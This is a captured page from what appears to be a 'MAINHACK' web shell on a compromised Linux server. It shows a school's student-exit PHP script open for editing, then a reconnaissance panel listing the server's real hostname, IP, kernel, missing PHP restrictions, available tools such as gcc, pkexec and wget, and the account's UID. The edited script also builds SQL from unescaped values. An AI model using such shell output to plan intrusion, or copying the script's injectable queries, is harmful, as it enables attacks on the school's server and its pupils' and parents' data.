[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: save_exit.php
<?php include("../functions.php"); if ($_SERVER['REQUEST_METHOD'] === 'POST') { // sanitize inputs $s_code = $_SESSION['s_code_Xw2119904']; $getsmsdata = mysqli_query($new, "SELECT * FROM sms_api WHERE schoolCode = '$s_code'"); $data = mysqli_fetch_array($getsmsdata); $username = $data['username']; $password = $data['password']; $senderID = $data['senderID']; $student_id = mysqli_real_escape_string($new, $_POST['student_id']); $exit_code = mysqli_real_escape_string($new, $_POST['exit_code']); $datetime_out = mysqli_real_escape_string($new, $_POST['datetime_out']); $datetime_in = mysqli_real_escape_string($new, $_POST['datetime_in']); $reasons = mysqli_real_escape_string($new, $_POST['reasons']); $approved_by = mysqli_real_escape_string($new, $_POST['approved_by']); $getname = mysqli_query($new,"SELECT student_name,mobile_num FROM enrol_details WHERE schoolID = '$student_id' and s_code = '$s_code'"); $fetch = mysqli_fetch_array($getname); $stuname = $fetch['student_name']; $mobile_num = $fetch['mobile_num']; $message1 = "Dear Parent/Guardian, Your ward $stuname exited the school premises with Exit Code: $exit_code on $datetime_out and returned on $datetime_in. Reason: $reasons."; $data = json_encode([ 'username' => $username, 'password' => $password, 'source' => $senderID, 'destination' => $mobile_num, 'message' => $message1, 'ol' => false, ]); $curl = curl_init(); curl_setopt_array($curl, [ CURLOPT_URL => 'https://deywuro.com/api/sms', CURLOPT_RETURNTRANSFER => true, CURLOPT_ENCODING => '', CURLOPT_MAXREDIRS => 10, CURLOPT_TIMEOUT => 30, CURLOPT_FOLLOWLOCATION => true, CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1, CURLOPT_CUSTOMREQUEST => 'POST', CURLOPT_POSTFIELDS => $data, CURLOPT_HTTPHEADER => [ 'Accept: application/json', 'Content-Type: application/json', ], ]); try { $response = curl_exec($curl); if (curl_errno($curl)) { $message = "Error sending to $dbnum: " . curl_error($curl) . "<br>"; } else { } } catch (Throwable $th) { $message = "Error sending SMS: " . $th->getMessage() . "<br>"; } finally { curl_close($curl); } } // insert $sql = "INSERT INTO student_exit (student_name,student_id, exit_code, datetime_out, datetime_in, reasons, approved_by, school_code) VALUES ('$stuname','$student_id', '$exit_code', '$datetime_out', '$datetime_in', '$reasons', '$approved_by', '$s_code')"; if (mysqli_query($new, $sql)) { echo "<script> alert('✅ Exit record saved successfully'); window.location.href='student-exit.php'; // redirect page </script>"; } else { echo "❌ Error: " . mysqli_error($new); } ?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.73 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002